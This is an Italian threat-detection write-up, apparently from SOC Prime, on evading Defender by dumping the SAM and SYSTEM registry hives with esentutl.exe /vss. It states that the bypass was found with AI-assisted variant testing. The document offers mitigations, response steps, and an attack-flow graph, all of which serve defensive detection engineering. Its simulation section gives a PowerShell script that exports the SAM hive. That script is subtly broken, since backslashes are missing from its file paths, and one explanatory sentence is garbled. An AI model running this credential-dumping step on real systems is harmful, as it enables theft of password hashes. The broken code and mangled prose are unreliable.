SOC Prime Bias: Medio

28 Apr 2026 18:51

Il Mese dei Bypass: Cosa Sfugge ai Difensori

Author Photo
SOC Prime Team linkedin icon Segui
Il Mese dei Bypass: Cosa Sfugge ai Difensori
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Il team di Persistent Security descrive un nuovo modo per eludere il rilevamento della tecnica di dumping delle credenziali T1003.002 sfruttando l’utility firmata di Windows esentutl.exe. Utilizzando le flag relative a VSS, lo strumento può copiare i SAM and registri di sistema SYSTEM senza attivare Microsoft Defender nello stesso modo dei metodi di dumping più comuni.

Indagine

I ricercatori hanno testato tre approcci tradizionali per eseguire il dumping dei registri, inclusi reg save, creazione di copie ombra vssadmin e copia diretta dei file, e hanno scoperto che Defender li bloccava tutti. Hanno poi utilizzato il test delle varianti assistito dall’IA per identificare un percorso alternativo: esentutl.exe poteva accedere ed estrarre i registri attraverso la sua funzionalità VSS integrata, evitando le rilevazioni esistenti di Defender.

Mitigazione

Le difese raccomandate includono la restrizione di esentutl.exe tramite AppLocker o WDAC, la creazione di regole Sysmon per rilevare le esentutl esecuzioni che utilizzano la /vss flag, e il monitoraggio per l’attività di copia ombra avviata al di fuori del comportamento normale del sistema. Le organizzazioni dovrebbero anche implementare LAPS per gli account amministratore locale e disabilitare VSS dove non è operativamente necessario.

Risposta

If esentutl.exe viene osservato in esecuzione con la /vss flag e scrivendo a file associati a SAM or registri di sistema SYSTEM, i difensori dovrebbero isolare l’host interessato, raccogliere prove di memoria e registro, confermare se si è verificato un dumping di credenziali e applicare i controlli delle politiche raccomandate per prevenire recidive.

graph TB %% Class Definitions classDef action fill:#99ccff classDef builtin fill:#cccccc classDef file fill:#ffdd99 %% Nodes action_esentutl_exec[“<b>Azione</b> – <b>T1218.002 Esecuzione Proxy di Binari di Sistema</b><br/>Eseguire esentutl.exe con i parametri /y /vss per creare una Volume Shadow Copy”] class action_esentutl_exec action tool_esentutl[“<b>Strumento</b> – <b>Nome</b>: esentutl.exe<br/><b>Descrizione</b>: Utility interna di Windows per la gestione dell’Extensible Storage Engine”] class tool_esentutl builtin action_copy_hives[“<b>Azione</b> – <b>T1003 Dump delle Credenziali del Sistema Operativo</b><br/>Copiare i file hive SAM e SYSTEM dalla shadow copy in una posizione scrivibile”] class action_copy_hives action action_store_unsecured[“<b>Azione</b> – <b>T1552.001 Credenziali nei File</b><br/>Memorizzare i file hive estratti su disco per analisi offline successive”] class action_store_unsecured action file_sam[“<b>File</b> – sam_dump<br/><b>Contenuto</b>: Hive SAM contenente hash delle password”] class file_sam file file_sys[“<b>File</b> – sys_dump<br/><b>Contenuto</b>: Hive SYSTEM contenente la chiave di boot del sistema”] class file_sys file %% Connections action_esentutl_exec –>|uses| tool_esentutl action_esentutl_exec –>|leads_to| action_copy_hives action_copy_hives –>|uses| tool_esentutl action_copy_hives –>|creates| file_sam action_copy_hives –>|creates| file_sys file_sam –>|used_by| action_store_unsecured file_sys –>|used_by| action_store_unsecured

Flusso di Attacco

Esecuzione della simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta aspettata dalla logica di rilevamento.

  • Narrativa & Comandi dell’attacco:
    Un avversario che ha ottenuto un punto d’appoggio su un host Windows compromesso desidera raccogliere hash delle credenziali senza attivare strumenti di dumping delle credenziali tipici che sono comunemente monitorati. L’attaccante sfrutta il esentutl.exe binario integrato con l’interruttore /vss per creare una copia ombra del volume di sistema ed estrarre il registro SAM protetto. I passaggi sono:

    1. Crea una directory temporanea per l’esportazione dello snapshot.
    2. Invoca esentutl.exe con i flag /y (sovrascrivi) e /vss puntando al percorso del registro SAM.
    3. Copia il file SAM esportato in una posizione sotto il controllo dell’attaccante.
    4. (Opzionale) Pulisci il file dello snapshot temporaneo per ridurre l’impronta forense.

    Questa sequenza produce un evento Sysmon ProcessCreate dove l’immagine termina con l'immagine termina con La riga di comando contiene la stringa esentutl.exe and , soddisfacendo la regola di rilevamento. contiene la stringa /vss, soddisfacendo la regola di rilevamento.

  • Script di Test di Regressione:

    # ----------------------------------------------
    # Simula estrazione del SAM basata su VSS usando esentutl
    # ----------------------------------------------
    $tempDir = "$env:TEMPVSS_Export"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # Percorso al registro SAM (copia in sola lettura sarà esportata)
    $samHive = "$env:SystemRootSystem32configSAM"
    $outputFile = Join-Path $tempDir "SAM_copy.edb"
    
    # Esegui esentutl con VSS per esportare il registro SAM
    $esentPath = "$env:SystemRootSystem32esentutl.exe"
    $arguments = "/y /vss `"$samHive`" `"$outputFile`""
    
    Write-Host "Esecuzione: $esentPath $arguments"
    & $esentPath $arguments
    
    # Verifica se l'esportazione è riuscita
    if (Test-Path $outputFile) {
        Write-Host "Registro SAM esportato in $outputFile"
    } else {
        Write-Warning "Esportazione fallita o nessun file creato."
    }
    
    # Pulisci file snapshot (opzionale, dipende dal comportamento del SO)
    # Nota: I file di snapshot VSS sono tipicamente auto-cancellati dopo l'esportazione.
  • Comandi di Pulizia:

    # Rimuovi directory ed file di esportazione temporanei
    $tempDir = "$env:TEMPVSS_Export"
    if (Test-Path $tempDir) {
        Remove-Item -Recurse -Force -Path $tempDir
        Write-Host "Pulizia completa: $tempDir rimosso."
    } else {
        Write-Host "Nessuna pulizia necessaria; directory non trovata."
    }